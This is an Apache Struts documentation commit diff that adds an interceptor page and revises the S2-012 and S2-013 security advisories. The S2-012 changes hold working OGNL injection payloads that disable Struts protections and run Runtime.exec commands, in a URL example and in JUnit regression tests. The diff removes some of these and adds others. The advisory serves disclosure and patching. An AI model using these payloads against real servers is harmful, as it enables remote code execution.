Author: lukaszlenart Date: Thu May 23 06:57:07 2013 New Revision: 862823 Log: Updates draft docs
Added: websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html Modified: websites/production/struts/content/development/2.x/docs/interceptors.html websites/production/struts/content/development/2.x/docs/s2-012.html websites/production/struts/content/development/2.x/docs/s2-013.html websites/production/struts/content/development/2.x/docs/sample-announcements.html Added: websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html ============================================================================== --- websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html (added) +++ websites/production/struts/content/development/2.x/docs/default-workflow-interceptor.html Thu May 23 06:57:07 2013 @@ -0,0 +1,219 @@ + +<!-- +Licensed to the Apache Software Foundation (ASF) under one +or more contributor license agreements. See the NOTICE file +distributed with this work for additional information +regarding copyright ownership. The ASF licenses this file +to you under the Apache License, Version 2.0 (the +"License"); you may not use this file except in compliance +with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE- 2.0 + +Unless required by applicable law or agreed to in writing, +software distributed under the License is distributed on an +"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +KIND, either express or implied. See the License for the +specific language governing permissions and limitations +under the License. +--> + +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> +<HTML> + <HEAD> + <LINK type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css"> + <STYLE type="text/css"> + .dp-highlighter { + width:95% !important; + } + </STYLE> + <STYLE type="text/css"> + .footer { + background-image: url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif'); + background-repeat: repeat-x; + background-position: left top; + padding-top: 4px; + color: #666; + } + </STYLE> + <SCRIPT type="text/javascript" language="javascript"> + var hide = null; + var show = null; + var children = null; + + function init() { + /* Search form initialization */ + var form = document.forms['search']; + if (form != null) { + form.elements['domains'].value = location.hostname; + form.elements['sitesearch'].value = location.hostname; + } + + /* Children initialization */ + hide = document.getElementById('hide'); + show = document.getElementById('show'); + children = document.all != null ? + document.all['children'] : + document.getElementById('children'); + if (children != null) { + children.style.display = 'none'; + show.style.display = 'inline'; + hide.style.display = 'none'; + } + } + + function showChildren() { + children.style.display = 'block'; + show.style.display = 'none'; + hide.style.display = 'inline'; + } + + function hideChildren() { + children.style.display = 'none'; + show.style.display = 'inline'; + hide.style.display = 'none'; + } + </SCRIPT> + <TITLE>Default Workflow Interceptor</TITLE> + <META http-equiv="Content-Type" content="text/html;charset=UTF-8"></HEAD> + <BODY onload="init()"> + <TABLE border="0" cellpadding="2" cellspacing="0" width="100%"> + <TR class="topBar"> + <TD align="left" valign="middle" class="topBarDiv" align="left" nowrap=""> + <A href="home.html" title="Apache Struts 2 Documentation">Apache Struts 2 Documentation</A> > <A href="home.html" title="Home">Home</A> > <A href="guides.html" title="Guides">Guides</A> > <A href="core-developers-guide.html" title="Core Developers Guide">Core Developers Guide</A> > <A href="interceptors.html" title="Interceptors">Interceptors</A> > <A href="" title="Default Workflow Interceptor">Default Workflow Interceptor</A> + </TD> + <TD align="right" valign="middle" nowrap=""> + <FORM name="search" action="http://www.google.com/search" method="get"> + <INPUT type="hidden" name="ie" value="UTF-8"> + <INPUT type="hidden" name="oe" value="UTF-8"> + <INPUT type="hidden" name="domains" value=""> + <INPUT type="hidden" name="sitesearch" value=""> + <INPUT type="text" name="q" maxlength="255" value=""> + <INPUT type="submit" name="btnG" value="Google Search"> + </FORM> + </TD> + </TR> + </TABLE> + + <DIV id="PageContent"> + <DIV class="pageheader" style="padding: 6px 0px 0px 0px;"> + <!-- We'll enable this once we figure out how to access (and save) the logo resource --> + <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"--> + <DIV style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</DIV> + <DIV style="margin: 0px 10px 8px 10px" class="pagetitle">Default Workflow Interceptor</DIV> + + <DIV class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;"> + <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13995"> + <IMG src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif" height="16" width="16" border="0" align="absmiddle" title="Edit Page"></A> + <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13995">Edit Page</A> + + <A href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW"> + <IMG src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif" height="16" width="16" border="0" align="absmiddle" title="Browse Space"></A> + <A href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</A> + + <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13995"> + <IMG src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif" height="16" width="16" border="0" align="absmiddle" title="Add Page"></A> + <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13995">Add Page</A> + + <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13995"> + <IMG src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif" height="16" width="16" border="0" align="absmiddle" title="Add News"></A> + <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13995">Add News</A> + </DIV> + </DIV> + + <DIV class="pagecontent"> + <DIV class="wiki-content"> + <P><P> +An interceptor that makes sure there are not validation errors before allowing the interceptor chain to continue. +<B>This interceptor does not perform any validation</B>. +<P> +<P>This interceptor does nothing if the name of the method being invoked is specified in the <B>excludeMethods</B> +parameter. <B>excludeMethods</B> accepts a comma-delimited list of method names. For example, requests to +<B>foo!input.action</B> and <B>foo!back.action</B> will be skipped by this interceptor if you set the +<B>excludeMethods</B> parameter to "input, back". +<P> +<B>Note:</B> As this method extends off MethodFilterInterceptor, it is capable of +deciding if it is applicable only to selective methods in the action class. This is done by adding param tags +for the interceptor element, naming either a list of excluded method names and/or a list of included method +names, whereby includeMethods overrides excludedMethods. A single * sign is interpreted as wildcard matching +all methods for both parameters. +See MethodFilterInterceptor for more info. +<P></P> + +<P><B>In DefaultWorkflowInterceptor</B> +<P>applies only when action implements com.opensymphony.xwork2.Validateable</P> +<OL> + <LI>if the action class have validate{MethodName}(), it will be invoked</LI> + <LI>else if the action class have validateDo{MethodName}(), it will be invoked</LI> + <LI>no matter if 1] or 2] is performed, if alwaysInvokeValidate property of the interceptor is "true" (which is by default "true"), validate() will be invoked.</LI> +</OL></P> + + +<H2><A name="DefaultWorkflowInterceptor-Parameters"></A>Parameters</H2> + +<P><P> +<UL> +<P> +<LI>inputResultName - Default to "input". Determine the result name to be returned when +an action / field error is found.</LI> +<P> +</UL> +<P></P> + +<H2><A name="DefaultWorkflowInterceptor-ExtendingtheInterceptor"></A>Extending the Interceptor</H2> + +<P><P> +There are no known extension points for this interceptor. +<P></P> + +<H2><A name="DefaultWorkflowInterceptor-Examples"></A>Examples</H2> + +<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> +<PRE class="code-xml"> +<SPAN class="code-tag"><action name=<SPAN class="code-quote">"someAction"</SPAN> class=<SPAN class="code-quote">"com.examples.SomeAction"</SPAN>></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>/></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"validation"</SPAN>/></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"workflow"</SPAN>/></SPAN> + <SPAN class="code-tag"><result name=<SPAN class="code-quote">"success"</SPAN>></SPAN>good_result.ftl<SPAN class="code-tag"></result></SPAN> +<SPAN class="code-tag"></action></SPAN> + +<-- In this case myMethod as well as mySecondMethod of the action class + will not pass through the workflow process --> +<SPAN class="code-tag"><action name=<SPAN class="code-quote">"someAction"</SPAN> class=<SPAN class="code-quote">"com.examples.SomeAction"</SPAN>></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>/></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"validation"</SPAN>/></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"workflow"</SPAN>></SPAN> + <SPAN class="code-tag"><param name=<SPAN class="code-quote">"excludeMethods"</SPAN>></SPAN>myMethod,mySecondMethod<SPAN class="code-tag"></param></SPAN> + <SPAN class="code-tag"></interceptor-ref name=<SPAN class="code-quote">"workflow"</SPAN>></SPAN> + <SPAN class="code-tag"><result name=<SPAN class="code-quote">"success"</SPAN>></SPAN>good_result.ftl<SPAN class="code-tag"></result></SPAN> +<SPAN class="code-tag"></action></SPAN> + +<-- In this case, the result named <SPAN class="code-quote">"error"</SPAN> will be used when + an action / field error is found --> +<-- The Interceptor will only be applied for myWorkflowMethod method of action + classes, since this is the only included method while any others are excluded --> +<SPAN class="code-tag"><action name=<SPAN class="code-quote">"someAction"</SPAN> class=<SPAN class="code-quote">"com.examples.SomeAction"</SPAN>></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>/></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"validation"</SPAN>/></SPAN> + <SPAN class="code-tag"><interceptor-ref name=<SPAN class="code-quote">"workflow"</SPAN>></SPAN> + <SPAN class="code-tag"><param name=<SPAN class="code-quote">"inputResultName"</SPAN>></SPAN>error<SPAN class="code-tag"></param></SPAN> + <SPAN class="code-tag"><param name=<SPAN class="code-quote">"excludeMethods"</SPAN>></SPAN>*<SPAN class="code-tag"></param></SPAN> + <SPAN class="code-tag"><param name=<SPAN class="code-quote">"includeMethods"</SPAN>></SPAN>myWorkflowMethod<SPAN class="code-tag"></param></SPAN> + <SPAN class="code-tag"></interceptor-ref></SPAN> + <SPAN class="code-tag"><result name=<SPAN class="code-quote">"success"</SPAN>></SPAN>good_result.ftl<SPAN class="code-tag"></result></SPAN> +<SPAN class="code-tag"></action></SPAN> + +</PRE> +</DIV></DIV> + </DIV> + + + </DIV> + </DIV> + <DIV class="footer"> + Generated by + <A href="http://www.atlassian.com/confluence/">Atlassian Confluence</A> (Version: 3.4.9 Build: 2042 Feb 14, 2011) + <A href="http://could.it/autoexport/">Auto Export Plugin</A> (Version: 1.0.0-dkulp) + </DIV> + </BODY> +</HTML> \ No newline at end of file Modified: websites/production/struts/content/development/2.x/docs/interceptors.html ============================================================================== --- websites/production/struts/content/development/2.x/docs/interceptors.html (original) +++ websites/production/struts/content/development/2.x/docs/interceptors.html Thu May 23 06:57:07 2013 @@ -686,7 +686,7 @@ under the License. <TD class="confluenceTd"> Performs validation using the validators defined in <EM>action</EM>-validation.xml </TD> </TR> <TR> -<TD class="confluenceTd"> <A href="workflow-interceptor.html" title="Workflow Interceptor">Workflow Interceptor</A> </TD> +<TD class="confluenceTd"> <A href="default-workflow-interceptor.html" title="Default Workflow Interceptor">Default Workflow Interceptor</A> </TD> <TD class="confluenceTd"> workflow </TD> <TD class="confluenceTd"> Calls the <TT>validate</TT> method in your Action class. If Action errors are created then it returns the <TT>INPUT</TT> view. </TD> </TR> @@ -896,7 +896,7 @@ thisWillRunFirstInterceptor <A href="create-session-interceptor.html" title="Create Session Interceptor">Create Session Interceptor</A> <SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN> <BR> - <A href="workflow-interceptor.html" title="Workflow Interceptor">Workflow Interceptor</A> + <A href="default-workflow-interceptor.html" title="Default Workflow Interceptor">Default Workflow Interceptor</A> <SPAN class="smalltext">(Apache Struts 2 Documentation)</SPAN> <BR> <A href="exception-interceptor.html" title="Exception Interceptor">Exception Interceptor</A> Modified: websites/production/struts/content/development/2.x/docs/s2-012.html ============================================================================== --- websites/production/struts/content/development/2.x/docs/s2-012.html (original) +++ websites/production/struts/content/development/2.x/docs/s2-012.html Thu May 23 06:57:07 2013 @@ -103,21 +103,21 @@ under the License. <DIV style="margin: 0px 10px 8px 10px" class="pagetitle">S2-012</DIV> <DIV class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;"> - <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818223"> + <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818222"> <IMG src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif" height="16" width="16" border="0" align="absmiddle" title="Edit Page"></A> - <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818223">Edit Page</A> + <A href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31818222">Edit Page</A> <A href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW"> <IMG src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif" height="16" width="16" border="0" align="absmiddle" title="Browse Space"></A> <A href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</A> - <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818223"> + <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818222"> <IMG src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif" height="16" width="16" border="0" align="absmiddle" title="Add Page"></A> - <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818223">Add Page</A> + <A href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31818222">Add Page</A> - <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818223"> + <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818222"> <IMG src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif" height="16" width="16" border="0" align="absmiddle" title="Add News"></A> - <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818223">Add News</A> + <A href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31818222">Add News</A> </DIV> </DIV> @@ -141,7 +141,7 @@ under the License. </TR> <TR> <TH class="confluenceTh">Maximum security rating</TH> -<TD class="confluenceTd">Critical</TD> +<TD class="confluenceTd">Moderately Critical</TD> </TR> <TR> <TH class="confluenceTh">Recommendation</TH> @@ -149,13 +149,17 @@ under the License. </TR> <TR> <TH class="confluenceTh">Affected Software</TH> -<TD class="confluenceTd"> Struts 2.0.0 - Struts 2.3.14 </TD> +<TD class="confluenceTd"> Struts Showcase App 2.0.0 - Struts Showcase App 2.3.13 </TD> </TR> <TR> <TH class="confluenceTh">Reporter</TH> <TD class="confluenceTd"> Xgc Kxlzx, Alibaba Security Team </TD> </TR> <TR> +<TH class="confluenceTh">CVE Identifier</TH> +<TD class="confluenceTd"><A href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1965" class="external-link" rel="nofollow">CVE-2013-1965</A></TD> +</TR> +<TR> <TH class="confluenceTh">Original Description</TH> <TD class="confluenceTd"> Reported directly to security@a.o</TD> </TR> @@ -164,93 +168,86 @@ under the License. <H2><A name="S2-012-Problem"></A>Problem</H2> -<P>OGNL provides, among other features, extensive expression <A href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation" class="external-link" rel="nofollow">evaluation capabilities</A>. The vulnerability allows a malicious user to inject OGNL code into a property, then a further assignment of the property cause a further evaluation. </P> +<P>OGNL provides, among other features, extensive expression <A href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation" class="external-link" rel="nofollow">evaluation capabilities</A>. <BR> +A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, afterward used as request parameter of a redirect address, which will cause a further evaluation. </P> -<P>OGNL evaluation was already addressed in <A href="s2-003.html" title="S2-003">S2-003</A> and <A href="s2-005.html" title="S2-005">S2-005</A> and <A href="s2-009.html" title="S2-009">S2-009</A>, but, since it involved just the parameter's name, it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially. </P> +<P>OGNL evaluation was already addressed in <A href="s2-003.html" title="S2-003">S2-003</A> and <A href="s2-005.html" title="S2-005">S2-005</A> and <A href="s2-009.html" title="S2-009">S2-009</A>, but, since it involved just the parameter's name, it turned out that the resulting fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially. </P> -<P>This time, there is no way to whitelist parameter value,<BR> -Regular expression in ParametersInterceptor matches top['foo'](0) as a valid expression, which OGNL treats as (top['foo'])(0) and evaluates the value of 'foo' action parameter as an OGNL expression. This lets malicious users put arbitrary OGNL statements into any String variable exposed by an action and have it evaluated as an OGNL expression and since OGNL statement is in HTTP parameter value attacker can use blacklisted characters (e.g. #) to disable method execution and execute arbitrary methods, bypassing the ParametersInterceptor and OGNL library protections.</P> +<P>The second evaluation happens when redirect result reads it from the stack and uses the previously injected code as redirect parameter.<BR> +This lets malicious users put arbitrary OGNL statements into any unsanitized String variable exposed by an action and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.</P> <H2><A name="S2-012-Proofofconcept"></A>Proof of concept</H2> -<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader panelHeader" style="border-bottom-width: 1px;"><B>Vulnerable Action</B></DIV><DIV class="codeContent panelContent"> -<PRE class="code-java"> -<SPAN class="code-keyword">public</SPAN> class FooAction { - <SPAN class="code-keyword">private</SPAN> <SPAN class="code-object">String</SPAN> foo; - - <SPAN class="code-keyword">public</SPAN> <SPAN class="code-object">String</SPAN> execute() { - <SPAN class="code-keyword">return</SPAN> <SPAN class="code-quote">"success"</SPAN>; - } - <SPAN class="code-keyword">public</SPAN> <SPAN class="code-object">String</SPAN> getFoo() { - <SPAN class="code-keyword">return</SPAN> foo; - } - - <SPAN class="code-keyword">public</SPAN> void setFoo(<SPAN class="code-object">String</SPAN> foo) { - <SPAN class="code-keyword">this</SPAN>.foo = foo; - } -} +<OL> + <LI>Run struts2-showcase</LI> + <LI>Open url: <A href="http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV" class="external-link" rel="nofollow">http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV</A></LI> + <LI>write skill name to %{expr} for example: +<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> +<PRE class="code-java">%{(#_memberAccess['allowStaticMethodAccess']=<SPAN class="code-keyword">true</SPAN>)(#context['xwork.MethodAccessor.denyMethodExecution']=<SPAN class="code-keyword">false</SPAN>) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())} </PRE> -</DIV></DIV> +</DIV></DIV></LI> + <LI>submit the form</LI> +</OL> -<P>Here's an actual decoded example, which will create /tmp/PWNAGE directory:</P> -<DIV class="preformatted panel" style="border-width: 1px;"><DIV class="preformattedContent panelContent"> -<PRE>/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true +<P>The issue, in order to work, need a redirect result defined as the following:</P> +<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> +<PRE class="code-java"> +<action name=<SPAN class="code-quote">"save"</SPAN> class=<SPAN class="code-quote">"org.apache.struts2.showcase.action.SkillAction"</SPAN> method=<SPAN class="code-quote">"save"</SPAN>> + <result type=<SPAN class="code-quote">"redirect"</SPAN>>edit.action?skillName=${currentSkill.name}</result> +</action> </PRE> -</DIV></DIV> +</DIV></DIV> -<P>encoded version:</P> -<DIV class="preformatted panel" style="border-width: 1px;"><DIV class="preformattedContent panelContent"> -<PRE>/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%2...@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true -</PRE> -</DIV></DIV> - -<P>And the JUnit version</P> -<DIV class="code panel" style="border-width: 1px;"><DIV class="codeHeader panelHeader" style="border-bottom-width: 1px;"><B>PoC</B></DIV><DIV class="codeContent panelContent"> +<H3><A name="S2-012-JUnitVersion"></A>JUnit Version</H3> +<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> <PRE class="code-java"> -<SPAN class="code-keyword">public</SPAN> class FooActionTest <SPAN class="code-keyword">extends</SPAN> org.apache.struts2.StrutsJUnit4TestCase<FooAction> { - @Test - <SPAN class="code-keyword">public</SPAN> void testExecute() <SPAN class="code-keyword">throws</SPAN> Exception { - request.setParameter(<SPAN class="code-quote">"foo"</SPAN>, <SPAN class="code-quote">"(#context[\"</SPAN>xwork.MethodAccessor.denyMethodExecution\<SPAN class="code-quote">"]= <SPAN class="code-keyword">new</SPAN> "</SPAN> + - <SPAN class="code-quote">"java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">false</SPAN>), #_memberAccess[\"</SPAN>allowStaticMethodAccess\<SPAN class="code-quote">"]= <SPAN class="code-keyword">new</SPAN> java.lang.<SPAN class="code-object">Boolean</SPAN>(<SPAN class="code-keyword">true</SPAN>), "</SPAN> + - <SPAN class="code-quote">"@java.lang.<SPAN class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)"</SPAN>); +<SPAN class="code-keyword">public</SPAN> void testUnsecureRedirect() { + <SPAN class="code-keyword">final</SPAN> <SPAN class="code-object">String</SPAN> pwnDir = <SPAN class="code-quote">"/tmp/PWNAGE"</SPAN>; + <SPAN class="code-keyword">final</SPAN> Map<<SPAN class="code-object">String</SPAN>, <SPAN class="code-object">String</SPAN>> fakeAction = <SPAN class="code-keyword">new</SPAN> HashMap<<SPAN class="code-object">String</SPAN>, <SPAN class="code-object">String</SPAN>>() { + { + put(<SPAN class="code-quote">"skillName"</SPAN>, <SPAN class="code-quote">"%{(#context['xwork.MethodAccessor.denyMethodExecution']=<SPAN class="code-keyword">false</SPAN>)(#_memberAccess['allowStaticMethodAccess']=<SPAN class="code-keyword">true</SPAN>)(@java.lang.<SPAN class="code-object">Runtime</SPAN>@getRuntime().exec('mkdir "</SPAN> + pwnDir + <SPAN class="code-quote">"'))}"</SPAN>); + } + }; - request.setParameter(<SPAN class="code-quote">"top['foo'](0)"</SPAN>, <SPAN class="code-quote">"<SPAN class="code-keyword">true</SPAN>"</SPAN>); + <SPAN class="code-object">String</SPAN> location = <SPAN class="code-quote">"/context/edit.action?skillName=<SPAN class="code-keyword">true</SPAN>"</SPAN>; + responseMock.expectAndReturn(<SPAN class="code-quote">"encodeRedirectURL"</SPAN>, C.anyArgs(1), location); + responseMock.expect(<SPAN class="code-quote">"sendRedirect"</SPAN>, C.args(C.eq(location))); + requestMock.expectAndReturn(<SPAN class="code-quote">"getAttribute"</SPAN>, C.args(C.eq(<SPAN class="code-quote">"javax.servlet.include.servlet_path"</SPAN>)), location); - <SPAN class="code-object">String</SPAN> res = <SPAN class="code-keyword">this</SPAN>.executeAction(<SPAN class="code-quote">"/example/foo.action"</SPAN>); - FooAction action = <SPAN class="code-keyword">this</SPAN>.getAction(); - - File pwn = <SPAN class="code-keyword">new</SPAN> File(<SPAN class="code-quote">"/tmp/PWNAGE"</SPAN>); - Assert.assertFalse(<SPAN class="code-quote">"Remote exploit: The PWN folder has been created"</SPAN>, pwn.exists()); - } -} + ValueStack stack = ai.getStack(); + stack.push(fakeAction); -</PRE> -</DIV></DIV> + view.setLocation(<SPAN class="code-quote">"edit.action?skillName=${skillName}"</SPAN>); + view.setParse(<SPAN class="code-keyword">true</SPAN>); -<H2><A name="S2-012-Solution"></A>Solution</H2> -<P>The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names. <BR> -Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.</P> + <SPAN class="code-keyword">try</SPAN> { + view.execute(ai); + requestMock.verify(); -<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is strongly recommended to upgrade to <A href="http://struts.apache.org/download.cgi#struts2312" class="external-link" rel="nofollow">Struts 2.3.1.2</A>, which contains the corrected OGNL and XWork library.</B></TD></TR></TABLE></DIV> + File pwn = <SPAN class="code-keyword">new</SPAN> File(pwnDir); + <SPAN class="code-object">boolean</SPAN> exists = pwn.exists(); + FileUtils.deleteDirectory(pwn); + assertFalse(<SPAN class="code-quote">"Remote exploit: The PWN folder has been created"</SPAN>, exists); -<P>In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:</P> + <SPAN class="code-object">Object</SPAN> dme = stack.getContext().get(<SPAN class="code-quote">"xwork.MethodAccessor.denyMethodExecution"</SPAN>); -<H3><A name="S2-012-PossibleMitigationWorkaround%3AConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters"></A>Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters</H3> + assertTrue(<SPAN class="code-quote">"DenyMethodExecution has been disabled"</SPAN>, dme == <SPAN class="code-keyword">null</SPAN> || BooleanUtils.toBoolean(dme.toString())); -<P>The following additional interceptor-ref configuration should mitigate the problem when applied correctly, allowing only simple navigational expression:</P> -<DIV class="code panel" style="border-width: 1px;"><DIV class="codeContent panelContent"> -<PRE class="code-java"> -<interceptor-ref name=<SPAN class="code-quote">"params"</SPAN>> - <param name=<SPAN class="code-quote">"acceptParamNames"</SPAN>>\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param> -</interceptor-ref> + } <SPAN class="code-keyword">catch</SPAN> (Exception e) { + e.printStackTrace(); + fail(); + } +} </PRE> </DIV></DIV> -<DIV class="panelMacro"><TABLE class="noteMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/warning.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD>Beware that the above pattern breaks <A href="http://struts.apache.org/2.3.1.1/docs/type-conversion.html#TypeConversion-CollectionandMapSupport" class="external-link" rel="nofollow">the type conversion support for collection and map</A> (those parameter names should be attached to acceptParamNames variable).<BR> -For this configuration to work correctly, it has to be applied to <B>any params interceptor ref in any stack an application is using</B>.<BR> -E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is <B>once for defaultStack and twice for paramsPrepareParamsStack</B></TD></TR></TABLE></DIV> +<H2><A name="S2-012-Solution"></A>Solution</H2> + +<P>The OGNLUtil class was changed to deny eval expressions by default. </P> + +<DIV class="panelMacro"><TABLE class="warningMacro"><COLGROUP><COL width="24"><COL></COLGROUP><TR><TD valign="top"><IMG src="https://cwiki.apache.org/confluence/images/icons/emoticons/forbidden.gif" width="16" height="16" align="absmiddle" alt="" border="0"></TD><TD><B>It is strongly recommended to upgrade to <A href="http://struts.apache.org/download.cgi#struts23141" class="external-link" rel="nofollow">Struts 2.3.14.1</A>, which contains the corrected OGNL and XWork library.</B></TD></TR></TABLE></DIV> </DIV> Modified: websites/production/struts/content/development/2.x/docs/s2-013.html ============================================================================== --- websites/production/struts/content/development/2.x/docs/s2-013.html (original) +++ websites/production/struts/content/development/2.x/docs/s2-013.html Thu May 23 06:57:07 2013 @@ -126,7 +126,7 @@ under the License. <H2><A name="S2-013-Summary"></A>Summary</H2> -<P>Showcase app vulnerability allows remote command execution</P> +<P>A vulnerability, present in the <EM>includeParams</EM> attribute of the <EM>URL</EM> and <EM>Anchor</EM> Tag, allows remote command execution</P> <DIV class="table-wrap"> @@ -141,7 +141,7 @@ under the License. </TR> <TR> <TH class="confluenceTh">Maximum security rating</TH> -<TD class="confluenceTd">Critical</TD> +<TD class="confluenceTd">High Critical</TD> </TR> <TR> <TH class="confluenceTh">Recommendation</TH> @@ -153,105 +153,76 @@ under the License. </TR> <TR> <TH class="confluenceTh">Reporter</TH> -<TD class="confluenceTd"> Xgc Kxlzx, Alibaba Security Team </TD> +<TD class="confluenceTd"> The Struts Team </TD> </TR> <TR> -<TH class="confluenceTh">Original Description</TH> -<TD class="confluenceTd"> Reported directly to security@a.o</TD> +<TH class="confluenceTh">CVE Identifier</TH> +<TD class="confluenceTd"><A href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1966" class="external-link" rel="nofollow">CVE-2013-1966</A></TD> </TR> </TBODY></TABLE> </DIV> <H2><A name="S2-013-Problem"></A>Problem</H2> -<P>OGNL provides, among other features, extensive expression <A href="http://commons.apache.org/ognl/language-guide.html#Expression_Evaluation" class="external-link" rel="nofollow">evaluation capabilities</A>. The vulnerability allows a malicious user to inject OGNL code into a property, then a further assignment of the property cause a further evaluation. </P> +<P>Both the <A href="http://struts.apache.org/release/2.3.x/struts2-core/apidocs/org/apache/struts2/components/URL.html" class="external-link" rel="nofollow"><EM>s:url</EM></A> and <A href="http://struts.apache.org/release/2.1.x/struts2-core/apidocs/org/apache/struts2/components/Anchor.html" class="external-link" rel="nofollow"><EM>s:a</EM></A> tag provide an <EM>includeParams</EM> attribute. </P> -<P>OGNL evaluation was already addressed in <A href="s2-003.html" title="S2-003">S2-003</A> and <A href="s2-005.html" title="S2-005">S2-005</A> and <A href="s2-009.html" title="S2-009">S2-009</A>, but, since it involved just the parameter's name, it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially. </P> +<P>The 